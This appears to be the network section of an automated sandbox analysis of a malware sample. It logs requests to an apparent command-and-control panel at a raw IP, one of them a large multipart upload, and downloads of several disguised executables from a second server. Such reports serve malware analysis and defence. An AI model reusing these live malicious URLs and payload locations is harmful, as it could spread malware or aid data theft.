Network Analysis
Name | Response | Post-Analysis Lookup |
---|---|---|
second.amadgood.com | ||
api.ip.sb | 104.26.12.31 |
GET
200
https://api.ip.sb/ip
REQUEST
RESPONSE
BODY
GET /ip HTTP/1.1
Host: api.ip.sb
Connection: Keep-Alive
HTTP/1.1 200 OK
Date: Wed, 02 Aug 2023 08:06:08 GMT
Content-Type: text/plain
Transfer-Encoding: chunked
Connection: keep-alive
vary: Accept-Encoding
Cache-Control: no-cache
CF-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=nXeQUDsreSZwDqlLOhtO7AdV4vsJ71%2BTySVnWX%2Fpn3K%2FbyJamgXorN0PFP2Vy0AU7IsjsABMHsSSlZ7QLe%2FnzZ5xgefUJqr%2BEQZpExPeKL1j3%2FRbRjwjYMg%2B0Q%3D%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Server: cloudflare
CF-RAY: 7f04d1da1be30a8e-KIX
alt-svc: h3=":443"; ma=86400
POST
200
http://45.15.156.208/jd9dd3Vw/index.php
REQUEST
RESPONSE
BODY
POST /jd9dd3Vw/index.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: 45.15.156.208
Content-Length: 90
Cache-Control: no-cache
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Wed, 02 Aug 2023 08:05:59 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
POST
200
http://45.15.156.208/jd9dd3Vw/index.php?scr=1
REQUEST
RESPONSE
BODY
POST /jd9dd3Vw/index.php?scr=1 HTTP/1.1
Content-Type: multipart/form-data; boundary=----MjQzMTY=
Host: 45.15.156.208
Content-Length: 24468
Cache-Control: no-cache
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Wed, 02 Aug 2023 08:06:00 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
GET
200
http://194.180.49.153/udp/taskmask.exe
REQUEST
RESPONSE
BODY
GET /udp/taskmask.exe HTTP/1.1
Host: 194.180.49.153
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Wed, 02 Aug 2023 08:05:59 GMT
Content-Type: application/octet-stream
Content-Length: 1817184
Last-Modified: Tue, 01 Aug 2023 17:37:54 GMT
Connection: keep-alive
ETag: "64c942f2-1bba60"
Accept-Ranges: bytes
POST
200
http://45.15.156.208/jd9dd3Vw/index.php
REQUEST
RESPONSE
BODY
POST /jd9dd3Vw/index.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: 45.15.156.208
Content-Length: 31
Cache-Control: no-cache
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Wed, 02 Aug 2023 08:06:03 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
GET
200
http://194.180.49.153/udp/rdpcllp.exe
REQUEST
RESPONSE
BODY
GET /udp/rdpcllp.exe HTTP/1.1
Host: 194.180.49.153
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Wed, 02 Aug 2023 08:06:03 GMT
Content-Type: application/octet-stream
Content-Length: 8802096
Last-Modified: Fri, 28 Jul 2023 10:47:46 GMT
Connection: keep-alive
ETag: "64c39cd2-864f30"
Accept-Ranges: bytes
POST
200
http://45.15.156.208/jd9dd3Vw/index.php
REQUEST
RESPONSE
BODY
POST /jd9dd3Vw/index.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: 45.15.156.208
Content-Length: 31
Cache-Control: no-cache
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Wed, 02 Aug 2023 08:06:14 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
GET
200
http://194.180.49.153/udp/taskhostclp.exe
REQUEST
RESPONSE
BODY
GET /udp/taskhostclp.exe HTTP/1.1
Host: 194.180.49.153
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Wed, 02 Aug 2023 08:06:14 GMT
Content-Type: application/octet-stream
Content-Length: 4215584
Last-Modified: Fri, 28 Jul 2023 10:43:41 GMT
Connection: keep-alive
ETag: "64c39bdd-405320"
Accept-Ranges: bytes
POST
200
http://45.15.156.208/jd9dd3Vw/index.php
REQUEST
RESPONSE
BODY
POST /jd9dd3Vw/index.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: 45.15.156.208
Content-Length: 31
Cache-Control: no-cache
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Wed, 02 Aug 2023 08:06:21 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
ICMP traffic
No ICMP traffic performed.
IRC traffic
No IRC requests performed.
Suricata Alerts
Suricata TLS
Flow | Issuer | Subject | Fingerprint |
---|---|---|---|
TLSv1 192.168.56.101:49181 104.26.12.31:443 |
C=US, O=Cloudflare, Inc., CN=Cloudflare Inc RSA CA-2 | C=US, ST=California, L=San Francisco, O=Cloudflare, Inc., CN=sni.cloudflaressl.com | 53:56:0b:3a:91:49:7f:18:59:87:21:98:d3:7f:98:0b:b4:ae:cb:cc |
Snort Alerts
No Snort Alerts